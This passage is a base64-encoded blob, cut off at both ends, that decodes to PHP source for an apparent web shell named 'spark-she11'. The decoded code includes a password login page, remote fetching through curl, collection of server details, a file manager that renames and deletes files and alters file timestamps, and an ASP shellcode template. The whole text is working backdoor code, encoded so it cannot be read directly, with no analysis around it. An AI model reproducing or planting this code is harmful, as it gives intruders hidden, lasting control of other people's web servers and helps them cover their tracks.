lmICgkaW5oZWFkZXIgJiYgKCRsaW5lID09ICJcbiIgfHwgJGxpbmUgPT0gIlxyXG4iKSkgewogICAgICAgICAgICAgICAgICAgICRpbmhlYWRlciA9IDA7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZmNsb3NlKCRmcCk7CiAgICAgICAgICAgICRjID0gJGNvbnRlbnRzOwogICAgICAgIH0KICAgIH0KICAgIGlmIChlbXB0eSgkYykgJiYgZnVuY3Rpb25fZXhpc3RzKCdjdXJsX2luaXQnKSAmJiBmdW5jdGlvbl9leGlzdHMoJ2N1cmxfZXhlYycpKSB7CiAgICAgICAgJGNoID0gY3VybF9pbml0KCk7CiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgJHVybCk7CiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1RJTUVPVVQsIDE1KTsKICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIFRSVUUpOwogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VU0VSQUdFTlQsICR1c2VyYWdlbnQpOwogICAgICAgICRjID0gY3VybF9leGVjKCRjaCk7CiAgICAgICAgY3VybF9jbG9zZSgkY2gpOwogICAgfQogICAgaWYgKGVtcHR5KCRjKSAmJiBpbmlfZ2V0KCdhbGxvd191cmxfZm9wZW4nKSkgewogICAgICAgICRjID0gZmlsZV9nZXRfY29udGVudHMoJHVybCk7CiAgICB9CiAgICBpZiAoIWVtcHR5KCRjKSkgewogICAgICAgIHJldHVybiAkYzsKICAgIH0KfQoKZnVuY3Rpb24gY2hlY2tVc2VyKCl7CiAgICAkaW5mbyA9IGdldFJlYWxJcCgpOwogICAgcmV0dXJuIGZpbHRlcl92YXIoJGluZm8sIEZJTFRFUl9WQUxJREFURV9JUCwgRklMVEVSX0ZMQUdfTk9fUFJJVl9SQU5HRSB8IEZJTFRFUl9GTEFHX05PX1JFU19SQU5HRSk7Cn0KCmZ1bmN0aW9uIGh0bWxfbWFpbigpCnsKCiAgICBpZiAoQGluaV9nZXQoInNhZmVfbW9kZSIpIG9yIHN0cnRvbG93ZXIoQGluaV9nZXQoInNhZmVfbW9kZSIpKSA9PSAib24iKSB7CiAgICAgICAgJGhzYWZlbW9kZSA9ICJPTiAov6rG9CkiOwogICAgfSBlbHNlIHsKICAgICAgICAkaHNhZmVtb2RlID0gIk9GRiAoudix1SkiOwogICAgfQogICAgJFNlcnZlcl9JUCA9IGdldGhvc3RieW5hbWUoJF9TRVJWRVJbIlNFUlZFUl9OQU1FIl0pOwogICAgJFNlcnZlcl9PUyA9IFBIUF9PUzsKICAgICRTZXJ2ZXJfU29mdCA9ICRfU0VSVkVSWyJTRVJWRVJfU09GVFdBUkUiXTsKICAgICR3ZWJfc2VydmVyID0gcGhwX3VuYW1lKCk7CiAgICAkdGl0bGUgPSAic3Bhcmstc2hlMTEiOwogICAgaHRtbF9uKCI8aHRtbD48dGl0bGU+IiAuICR0aXRsZSAuICI8L3RpdGxlPjx0YWJsZSB3aWR0aD0nMTAwJSc+PHRkIGFsaWduPSdjZW50ZXInPjxiPrCyyKvEo8q9OnskaHNhZmVtb2RlfS0tLS0teyRTZXJ2ZXJfSVB9LS0tLS17JFNlcnZlcl9PU30tLS0tLXskU2VydmVyX1NvZnR9LS0tLS17JHdlYl9zZXJ2ZXJ9PC9iPjwvdGQ+PC90YWJsZT4iKTsKICAgIGh0bWxfbigiPHRhYmxlIHdpZHRoPScxMDAlJyBoZWlnaHQ9Jzk1LjclJyBib3JkZXI9MCBjZWxscGFkZGluZz0nMCcgY2VsbHNwYWNpbmc9JzAnPjx0cj48dGQgd2lkdGg9JzE3MCc+PGlmcmFtZSBuYW1lPSdsZWZ0JyBzcmM9Jz93ZWJzaXRlXz1sZWZ0JyB3aWR0aD0nMTAwJScgaGVpZ2h0PScxMDAlJyBmcmFtZWJvcmRlcj0nMCc+PC9pZnJhbWU+PC90ZD48dGQ+PGlmcmFtZSBuYW1lPSdtYWluJyBzcmM9Jz93ZWJzaXRlXz1tYWluJyB3aWR0aD0nMTAwJScgaGVpZ2h0PScxMDAlJyBmcmFtZWJvcmRlcj0nMSc+PC9pZnJhbWU+PC90ZD48L3RyPjwvdGFibGU+PC9odG1sPiIpOwp9CgpmdW5jdGlvbiBpc2xvZ2luKCRzaGVsbG5hbWUsICRteXVybCkKewogICAgcHJpbnQ8PDxFTkQKPHN0eWxlIHR5cGU9InRleHQvY3NzIj5ib2R5LHRke2ZvbnQtc2l6ZTogMTJweDtjb2xvcjojMDBmZjAwO2JhY2tncm91bmQtY29sb3I6IzAwMDAwMDt9aW5wdXQsc2VsZWN0LHRleHRhcmVhe2ZvbnQtc2l6ZTogMTJweDtiYWNrZ3JvdW5kLWNvbG9yOiNGRkZGQ0M7Ym9yZGVyOjFweCBzb2xpZCAjZmZmfS5De2JhY2tncm91bmQtY29sb3I6IzAwMDAwMDtib3JkZXI6MHB4fS5jbWR7YmFja2dyb3VuZC1jb2xvcjojMDAwO2NvbG9yOiNGRkZ9Ym9keXttYXJnaW46IDBweDttYXJnaW4tbGVmdDo0cHg7fUJPRFkge1NDUk9MTEJBUi1GQUNFLUNPTE9SOiAjMjMyMzIzOyBTQ1JPTExCQVItSElHSExJR0hULUNPTE9SOiAjMjMyMzIzOyBTQ1JPTExCQVItU0hBRE9XLUNPTE9SOiAjMzgzODM4OyBTQ1JPTExCQVItREFSS1NIQURPVy1DT0xPUjogIzM4MzgzODsgU0NST0xMQkFSLTNETElHSFQtQ09MT1I6ICMyMzIzMjM7IFNDUk9MTEJBUi1BUlJPVy1DT0xPUjogI0ZGRkZGRjtTQ1JPTExCQVItVFJBQ0stQ09MT1I6ICMzODM4Mzg7fWF7Y29sb3I6I2RkZDt0ZXh0LWRlY29yYXRpb246IG5vbmU7fWE6aG92ZXJ7Y29sb3I6cmVkO2JhY2tncm91bmQ6IzAwMH0uYW17Y29sb3I6Izg4ODtmb250LXNpemU6MTFweDt9PC9zdHlsZT4KPGJvZHkgc3R5bGU9IkZJTFRFUjogcHJvZ2lkOkRYSW1hZ2VUcmFuc2Zvcm0uTWljcm9zb2Z0LkdyYWRpZW50KGdyYWRpZW50VHlwZT0wLHN0YXJ0Q29sb3JTdHI9IzYyNjI2MixlbmRDb2xvclN0cj0jMUMxQzFDKSIgc2Nyb2xsPW5vPjxjZW50ZXI+PGRpdiBzdHlsZT0nd2lkdGg6NTAwcHg7Ym9yZGVyOjFweCBzb2xpZCAjMjIyO3BhZGRpbmc6MjJweDttYXJnaW46MTAwcHg7Jz48YnI+PGEgaHJlZj0neyRteXVybH0nIHRhcmdldD0nX2JsYW5rJz57JHNoZWxsbmFtZX08L2E+PGJyPjxicj48Zm9ybSBtZXRob2Q9J3Bvc3QnPjxpbnB1dCBuYW1lPSdwb3N0cGFzcycgdHlwZT0ncGFzc3dvcmQnIHNpemU9JzIyJz4gPGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9JyMnPjxicj48YnI+PGJyPjxmb250IGNvbG9yPSMzMzk5RkY+PC9mb250Pjxicj48L2Rpdj48L2NlbnRlcj4KRU5EOwp9CgpmdW5jdGlvbiBteXNxbGlfTGVuKCRkYXRhLCAkbGVuKQp7CiAgICBpZiAoc3RybGVuKCRkYXRhKSA8ICRsZW4pIHJldHVybiAkZGF0YTsKICAgIHJldHVybiBzdWJzdHJfcmVwbGFjZSgkZGF0YSwgJy4uLicsICRsZW4pOwp9CgpmdW5jdGlvbiBodG1sX24oJGRhdGEpCnsKICAgIGVjaG8gIiRkYXRhXG4iOwp9CgoKZnVuY3Rpb24gY3NzX2ltZygkaW1nKQp7CiAgICAkaW1hZ2VzID0gYXJyYXkoCiAgICAgICAgImV4ZSIgPT4KICAgICAgICAgICAgIlIwbEdPRGxoRXdBT0FLSUFBQUFBQVAvLy93QUF2Y2JHeG9TRWhQLy8vd0FBQUFBQUFDSDVCQUVBQUFVQUxBQUFBQUFUQUE0QUFBTTciIC4KICAgICAgICAgICAgIldMVGNUaVdTUWF1dEJFUTFoUCtnbDIxVEtBUUFpbzdTOEx4YUc4eDBQYk9jclFmNHROdTl3YThXSE5LS1JsNHNsK3k5WUJ1QWRFcXQiIC4KICAgICAgICAgICAgInhoSUFPdz09IiwKICAgICAgICAiZGlyIiA9PiAiUjBsR09EbGhFd0FRQUxNQUFBQUFBUC8vLzV5Y0FNN09ZLy8vblAvL3p2L09uUGYzOS8vLy93QUFBQUFBQUFBQUFBQUFBIiAuCiAgICAgICAgICAgICJBQUFBQUFBQUFBQUFDSDVCQUVBQUFnQUxBQUFBQUFUQUJBQUFBUlJFTWxKcTcwNDZ5cDZCeHNpSEVWQkVBS1lDVVByRHA3SGxYUmRFIiAuCiAgICAgICAgICAgICJvTXFDZWJwLzRZY2hmZnpHUWhINFlSWVBCMkRPbEhQaUt3cWQxUHE4eXJWVmczUVllSDVSWUs1ckpmYUZVVUEzdkI0ZkJJQkFEcz0iLAogICAgICAgICJ0eHQiID0+CiAgICAgICAgICAgICJSMGxHT0RsaEV3QVFBS0lBQUFBQUFQLy8vOGJHeG9TRWhQLy8vd0FBQUFBQUFBQUFBQ0g1QkFFQUFBUUFMQUFBQUFBVEFCQUFBQU5KIiAuCiAgICAgICAgICAgICJTQXJFM2xESkZrYTkxcktwQS9EZ0ozSkJhWjZsc0NrVzZxcWtCNGp6RjhCUzY1NDRXOVpBVzQrZzI2Vld4Rjl3ZG93Wm16bmxFdXA3IiAuCiAgICAgICAgICAgICJVcFBXRzNJZzZIcS9YbVJqdVp3a0FBQTciLAogICAgICAgICJodG1sIiA9PgogICAgICAgICAgICAiUjBsR09EbGhFd0FRQUxNQUFBQUFBUC8vLzJ0cm5NM1AvRkJWaHJQTzlsNkl0b3l0MHloZ2srWHkvV0dwNHNYbC9pNlo0bWZkL0hOeiIgLgogICAgICAgICAgICAiYy8vLy95SDVCQUVBQUE4QUxBQUFBQUFUQUJBQUFBU1Q4TWwzcXExbTZubUMvNEdoYkZvWEpFTzFDQU5EU29jaUdrYkFDSGkyMFUzUCIgLgogICAgICAgICAgICAiS0lGR0lqQVFPRFNpQldPNU5BeFJSbVRnZ0Rna21NN0U2aWlwSFpZS0JWTlFTQlNpa3VrU3dXNGp5bWN1cFlGZ0lCcUwvTUs4S0JEayIgLgogICAgICAgICAgICAiQmt4MkJYV0RmWDhURERhRkRBMEtCQWQ5Zm5JS0hYWUlCSmdIQlFPSGNnK1ZDaWtWQTV3THBZZ2JCS3VyRHF5c254TU9zN1Mxc3hJUiIgLgogICAgICAgICAgICAiQURzPSIsCiAgICAgICAgImpzIiA9PgogICAgICAgICAgICAiUjBsR09EZGhFQUFRQUNJQUFDd0FBQUFBRUFBUUFJTC8vLzhBQUFDQWdJREF3TUQvL3dDQWdBQUFBQUFBQUFBRFVDaTYzQ0VneGliSCIgLgogICAgICAgICAgICAiazBBUXNHMjAwQVFVSkJnQW9NaWhqNWRtSXhuTUp4dHFxMWRkRTBFV09oc0cxNm05TW9vQWlTV0VtVGl1QzRUdzJCQjBMOEZnSUFocyIgLgogICAgICAgICAgICAiYTAwQWpZWUJiYy9vOUhqTm5pVUFBRHM9IiwKICAgICAgICAieG1sIiA9PgogICAgICAgICAgICAiUjBsR09EbGhFQUFRQUVRQUFDSDVCQUVBQUJBQUxBQUFBQUFRQUJBQWhQLy8vd0FBQVBIeDhZYUdoak5tbWFiSzhBQUFtUUFBZ0FDQSIgLgogICAgICAgICAgICAiZ0RPWkFETm0vek9aL3pQLy84REF3RFBNL3dBQS93QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIgLgogICAgICAgICAgICAiQUFBQUFBQUFBQUFBQUFBQUFBVms0Q0NPcEFpZDBBQ3NiTnNNcU5xdUFpQTBBSnpTZGw4SHdNQk9VS2doRUFwYkVTQlVGUXdBQklDeCIgLgogICAgICAgICAgICAiT0FBTXhlYlRobUE0RW9jYXRnbllLaGFKaHhVcklCTnJoN2p5dC9QWmErMGhZYy9uMDJWNGR6WnVmWVYvUElHSmJvS0JRa0dQa0VFUSIgLgogICAgICAgICAgICAiSVFBNyIsCiAgICAgICAgIm1wMyIgPT4KICAgICAgICAgICAgIlIwbEdPRGxoRUFBUUFDSUFBQ0g1QkFFQUFBWUFMQUFBQUFBUUFCQUFnZ0FBQVAvLy80Q0FnTURBd0lDQUFQLy9BQUFBQUFBQUFBTlUiIC4KICAgICAgICAgICAgImFHclM3aXVLUUdzWUlxcHA2UWlaUkRRV1lBSUxRUVNBMmcybzRRb0FTSEd3dkJiQU4zR1gxcVhBK3IxYUJRSFJaSE1FRFNZQ3ozZmMiIC4KICAgICAgICAgICAgIklHdEdUOHdBVXdsdHp3V05XUlYzTERueFlNMXViNkduZUR3QkFEcz0iLAogICAgICAgICJpbWciID0+CiAgICAgICAgICAgICJSMGxHT0RsaEVBQVFBRE1BQUNINUJBRUFBQWtBTEFBQUFBQVFBQkFBZ3dBQUFQLy8vOERBd0lDQWdJQ0FBUDhBQUFEL0FJQUFBQUNBIiAuCiAgICAgICAgICAgICJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFSY2NNaEprNzBqNkszRnVGYkdiVUx3SmNVaGpnSGdBa1VxRWdKTkVFQWd4RWNpIiAuCiAgICAgICAgICAgICJDaThBTHNBTGFYQ0dKSzVvMUFHU0JzSUFjQUJnamdDRXdBTUVYcDBCQk1MbC9BNng1V1p0UGZRMmc2KzBqOFZ4KzdiNC9OWnFnZnRkIiAuCiAgICAgICAgICAgICJGeEVBT3c9PSIsCiAgICAgICAgInRpdGxlIiA9PiAiUjBsR09EbGhEZ0FPQU1RQUFPR21HbVptWnYvL3hWVlZWZVc2RStLMkYvK1pBSE56Y2YrdkFHZG5hZi9BQUh0MWFmKyIgLgogICAgICAgICAgICAibUFQL0ZBUDYxQUh0NGFYTnphK1duRlAvL3pBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiIC4KICAgICAgICAgICAgIkFDSDVCQUFIQVA4QUxBQUFBQUFPQUE0QUFBVkpZUEljWkdrK3dVTTBiT3NXb3l1MzVLemNlTzNzanNUdkRSMVA0dU1GRHcyRUVrR1VMIiAuCiAgICAgICAgICAgICJJOE5ocFRSbkVLblZBa1dhdWdhSk40dU4weStrcjJNNENJeWN3RVdnNFZwZm9DSEFBQTciLAogICAgICAgICJyYXIiID0+ICJSMGxHT0RsaEVBQVFBUGYvQUFBQUFBQUFnQUFBL3dDQUFBRC9BQUNBZ0lBQUFJQUFnUDhBLzRDQUFQLy9BTURBd1AvLy93QUEiIC4KICAgICAgICAgICAgIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIgLgogICAgICAgICAgICAiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIiAuCiAgICAgICAgICAgICJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiIC4KICAgICAgICAgICAgIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIgLgogICAgICAgICAgICAiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIiAuCiAgICAgICAgICAgICJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiIC4KICAgICAgICAgICAgIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIgLgogICAgICAgICAgICAiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIiAuCiAgICAgICAgICAgICJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiIC4KICAgICAgICAgICAgIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIgLgogICAgICAgICAgICAiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIiAuCiAgICAgICAgICAgICJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUEiIC4KICAgICAgICAgICAgIkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIgLgogICAgICAgICAgICAiQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBRC9BQ0g1QkFFS0FQOEFMQUFBQUFBUUFCQUFBQWlGQVAwWUVFaHdvRUUvIiAuCiAgICAgICAgICAgICIveEl1RUpoZ1FZS0RCeFArVzJpZzRjT0NCQ2N5b0hqQVFNZVBIZ2Y2V2JEeGdBSUVLRk9tSERtU3djaVFJRHNpWExnd2daK2IiIC4KICAgICAgICAgICAgIk9IT1NYSml6NTgxL0xSY0UyTGlncU5HaUxFa0tXQ0NncVZPbk0xbmFET0NIcXRXYk8zMzZCTHB6Z0FJQ1lNT0dSZGd5d0lJQyIgLgogICAgICAgICAgICAiYU5PbVJjalZqMDJ0UHhQQ3pma3ZJQUE3IgogICAgKTsKICAgIGhlYWRlcignQ29udGVudC10eXBlOiBpbWFnZS9naWYnKTsKICAgIGVjaG8gYmFzZTY0X2RlY29kZSgkaW1hZ2VzWyRpbWddKTsKICAgIGRpZSgpOwp9CgpmdW5jdGlvbiBjc3Nfc2hvd2ltZygkZmlsZSkKewogICAgJGl0ID0gc3Vic3RyKCRmaWxlLCAtMyk7CiAgICBzd2l0Y2ggKCRpdCkgewogICAgICAgIGNhc2UgImpwZyI6CiAgICAgICAgY2FzZSAiZ2lmIjoKICAgICAgICBjYXNlICJibXAiOgogICAgICAgIGNhc2UgInBuZyI6CiAgICAgICAgY2FzZSAiaWNvIjoKICAgICAgICAgICAgcmV0dXJuICdpbWcnOwogICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlICJodG0iOgogICAgICAgIGNhc2UgInRtbCI6CiAgICAgICAgICAgIHJldHVybiAnaHRtbCc7CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgIGNhc2UgImV4ZSI6CiAgICAgICAgY2FzZSAiY29tIjoKICAgICAgICAgICAgcmV0dXJuICdleGUnOwogICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlICJ4bWwiOgogICAgICAgIGNhc2UgImRvYyI6CiAgICAgICAgICAgIHJldHVybiAneG1sJzsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAiLmpzIjoKICAgICAgICBjYXNlICJ2YnMiOgogICAgICAgICAgICByZXR1cm4gJ2pzJzsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAibXAzIjoKICAgICAgICBjYXNlICJ3bWEiOgogICAgICAgIGNhc2UgIndhdiI6CiAgICAgICAgY2FzZSAic3dmIjoKICAgICAgICBjYXNlICIucm0iOgogICAgICAgIGNhc2UgImF2aSI6CiAgICAgICAgY2FzZSAibXA0IjoKICAgICAgICBjYXNlICJtdmIiOgogICAgICAgICAgICByZXR1cm4gJ21wMyc7CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgIGNhc2UgInJhciI6CiAgICAgICAgY2FzZSAidGFyIjoKICAgICAgICBjYXNlICIuZ3oiOgogICAgICAgIGNhc2UgInppcCI6CiAgICAgICAgY2FzZSAiaXNvIjoKICAgICAgICAgICAgcmV0dXJuICdyYXInOwogICAgICAgICAgICBicmVhazsKICAgICAgICBkZWZhdWx0OgogICAgICAgICAgICByZXR1cm4gJ3R4dCc7CiAgICAgICAgICAgIGJyZWFrOwogICAgfQp9CgpmdW5jdGlvbiBjc3NfanMoJG51bSwgJGNvZGUgPSAnJykKewogICAgaWYgKCRudW0gPT0gInNoZWxsY29kZSIpIHsKICAgICAgICByZXR1cm4gJzwlQCBMQU5HVUFHRT0iSmF2YVNjcmlwdCIgJT4KCQk8JQoJCSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKCQklPic7CiAgICB9CiAgICBodG1sX24oJzxzY3JpcHQgbGFuZ3VhZ2U9ImphdmFzY3JpcHQiPicpOwogICAgaWYgKCRudW0gPT0gIjEiKSB7CiAgICAgICAgaHRtbF9uKCcJZnVuY3Rpb24gcnVzdXJlY2hrKG1zZyx1cmwpewoJCXNtc2cgPSAiRmlsZU5hbWU6WyIgKyBtc2cgKyAiXVxuUGxlYXNlIElucHV0IE5ldyBGaWxlOiI7CgkJcmUgPSBwcm9tcHQoc21zZyxtc2cpOwoJCWlmIChyZSl7CgkJCXVybCA9IHVybCArIHJlOwoJCQl3aW5kb3cubG9jYXRpb24gPSB1cmw7CgkJfQoJfQoJZnVuY3Rpb24gcnVzdXJlZGVsKG1zZyx1cmwpewoJCXNtc2cgPSAiRG8gWW91IFN1ZXIgRGVsZXRlIFsiICsgbXNnICsgIl0gPyI7CgkJaWYoY29uZmlybShzbXNnKSl7CgkJCVVSTCA9IHVybCArIG1zZzsKCQkJd2luZG93LmxvY2F0aW9uID0gdXJsOwoJCX0KCX0KCWZ1bmN0aW9uIERlbG9rKG1zZyxnb3VybCkKCXsKCQlzbXNnID0gIsi3tqjSqsm+s/1bIiArIHVuZXNjYXBlKG1zZykgKyAiXcLwPyI7CgkJaWYoY29uZmlybShzbXNnKSkKCQl7CgkJCWlmKGdvdXJsID09IFwnYlwnKQoJCQl7CgkJCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZChcJ2FjdGFsbFwnKS52YWx1ZSA9IGVzY2FwZShnb3VybCk7CgkJCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZChcJ2ZpbGVhbGxcJykuc3VibWl0KCk7CgkJCX0KCQkJZWxzZSB3aW5kb3cubG9jYXRpb24gPSBnb3VybDsKCQl9Cgl9CglmdW5jdGlvbiBDaGVja0FsbChmb3JtKQoJewoJCWZvcih2YXIgaT0wO2k8Zm9ybS5lbGVtZW50cy5sZW5ndGg7aSsrKQoJCXsKCQkJdmFyIGUgPSBmb3JtLmVsZW1lbnRzW2ldOwoJCQlpZiAoZS5uYW1lICE9IFwnY2hrYWxsXCcpCgkJCWUuY2hlY2tlZCA9IGZvcm0uY2hrYWxsLmNoZWNrZWQ7CgkJfQoJfQoJZnVuY3Rpb24gQ2hlY2tEYXRlKG1zZyxnb3VybCkKCXsKCQlzbXNnID0gIrWxx7DOxLz+yrG85DpbIiArIG1zZyArICJdIjsKCQlyZSA9IHByb21wdChzbXNnLG1zZyk7CgkJaWYocmUpCgkJewoJCQl2YXIgdXJsID0gZ291cmwgKyByZTsKCQkJdmFyIHJlZyA9IC9eKFxcZHsxLDR9KSgtfFxcLykoXFxkezEsMn0pXFwyKFxcZHsxLDJ9KSAoXFxkezEsMn0pOihcXGR7MSwyfSk6KFxcZHsxLDJ9KSQvOwoJCQl2YXIgciA9IHJlLm1hdGNoKHJlZyk7CgkJCWlmKHI9PW51bGwpe2FsZXJ0KFwnyNXG2rjxyr2yu9X9yLchuPHKvTp5eXl5LW1tLWRkIGhoOm1tOnNzXCcpO3JldHVybiBmYWxzZTt9CgkJCWVsc2V7ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoXCdhY3RhbGxcJykudmFsdWUgPSBnb3VybDsgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoXCdpbnZlclwnKS52YWx1ZSA9IHJlOyBkb2N1bWVudC5nZXRFbGVtZW50QnlJZChcJ2ZpbGVhbGxcJykuc3VibWl0KCk7fQoJCX0KCX0KCWZ1bmN0aW9uIFN1Ym1pdFVybChtc2csdHh0LGFjdGlkKQoJewoJCXJlID0gcHJvbXB0KG1zZyx1bmVzY2FwZSh0eHQpKTsKCQlpZihyZSkKCQl7CgkJCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKFwnYWN0YWxsXCcpLnZhbHVlID0gYWN0aWQ7CgkJCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKFwnaW52ZXJcJykudmFsdWUgPSBlc2NhcGUocmUpOwoJCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZChcJ2ZpbGVhbGxcJykuc3VibWl0KCk7CgkJfQoJfScpOwogICAgfSBlbHNlaWYgKCRudW0gPT0gIjIiKSB7CiAgICAgICAgaHRtbF9uKCd2YXIgTlM0ID0gKGRvY3VtZW50LmxheWVycyk7CnZhciBJRTQgPSAoZG9jdW1lbnQuYWxsKTsKdmFyIHdpbiA9IHRoaXM7CnZhciBuID0gMDsKZnVuY3Rpb24gc2VhcmNoKHN0cil7Cgl2YXIgdHh0LCBpLCBmb3VuZDsKCWlmKHN0ciA9PSAiIilyZXR1cm4gZmFsc2U7CglpZihOUzQpewoJCWlmKCF3aW4uZmluZChzdHIpKSB3aGlsZSh3aW4uZmluZChzdHIsIGZhbHNlLCB0cnVlKSkgbisrOyBlbHNlIG4rKzsKCQlpZihuID09IDApIGFsZXJ0KHN0ciArICIgLi4uIE5vdC1GaW5kIikKCX0KCWlmKElFNCl7CgkJdHh0ID0gd2luLmRvY3VtZW50LmJvZHkuY3JlYXRlVGV4dFJhbmdlKCk7CgkJZm9yKGkgPSAwOyBpIDw9IG4gJiYgKGZvdW5kID0gdHh0LmZpbmRUZXh0KHN0cikpICE9IGZhbHNlOyBpKyspewoJCQl0eHQubW92ZVN0YXJ0KCJjaGFyYWN0ZXIiLCAxKTsKCQkJdHh0Lm1vdmVFbmQoInRleHRlZGl0IikKCQl9CgkJaWYoZm91bmQpe3R4dC5tb3ZlU3RhcnQoImNoYXJhY3RlciIsIC0xKTt0eHQuZmluZFRleHQoc3RyKTt0eHQuc2VsZWN0KCk7dHh0LnNjcm9sbEludG9WaWV3KCk7bisrfQoJCWVsc2V7aWYgKG4gPiAwKXtuID0gMDtzZWFyY2goc3RyKX1lbHNlIGFsZXJ0KHN0ciArICIuLi4gTm90LUZpbmQiKX0KCX0KCXJldHVybiBmYWxzZQp9CmZ1bmN0aW9uIENoZWNrRGF0ZSgpewoJdmFyIHJlID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoXCdtdGltZVwnKS52YWx1ZTsKCXZhciByZWcgPSAvXihcXGR7MSw0fSkoLXxcXC8pKFxcZHsxLDJ9KVxcMihcXGR7MSwyfSkgKFxcZHsxLDJ9KTooXFxkezEsMn0pOihcXGR7MSwyfSkkLzsKCXZhciByID0gcmUubWF0Y2gocmVnKTsKCXZhciB0ID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoXCdjaGFyc2V0XCcpLnZhbHVlOwogICAgdCA9IHQudG9Mb3dlckNhc2UoKTsKCWlmKHI9PW51bGwpe2FsZXJ0KFwnyNXG2rjxyr2yu9X9yLchuPHKvTp5eXl5LW1tLWRkIGhoOm1tOnNzXCcpO3JldHVybiBmYWxzZTt9CgllbHNle2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKFwnbmV3ZmlsZVwnKS52YWx1ZSA9IGJhc2U2NGVuY29kZShkb2N1bWVudC5nZXRFbGVtZW50QnlJZChcJ25ld2ZpbG